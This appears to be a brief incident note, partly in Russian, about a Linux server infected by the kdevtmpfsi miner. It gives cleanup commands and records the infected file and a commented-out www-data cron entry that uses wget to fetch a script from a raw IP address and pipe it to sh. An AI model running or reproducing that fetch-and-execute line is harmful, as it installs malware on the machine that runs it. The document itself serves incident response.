https://github.com/laradock/laradock/issues/2451

 

https://askubuntu.com/questions/1225410/my-ubuntu-server-has-been-infected-by-a-virus-kdevtmpfsi

# first. That will kill access to that file
chmod 000 /tmp/kdevtmpfsi
# From a user prompt if possible if that is not YOUR user:
sudo -u fabio
crontab -l 
#otherwise you only need the LAST line of these 2. If it is in there
crontab -e

 

вот этим заразились

www-data www-data 3,8M авг 26 12:20 /tmp/kdevtmpfsi

в кроне  у  www-data стояло

#* * * * * wget -q -O - http://195.3.146.118/ex.sh | sh > /dev/null 2>&1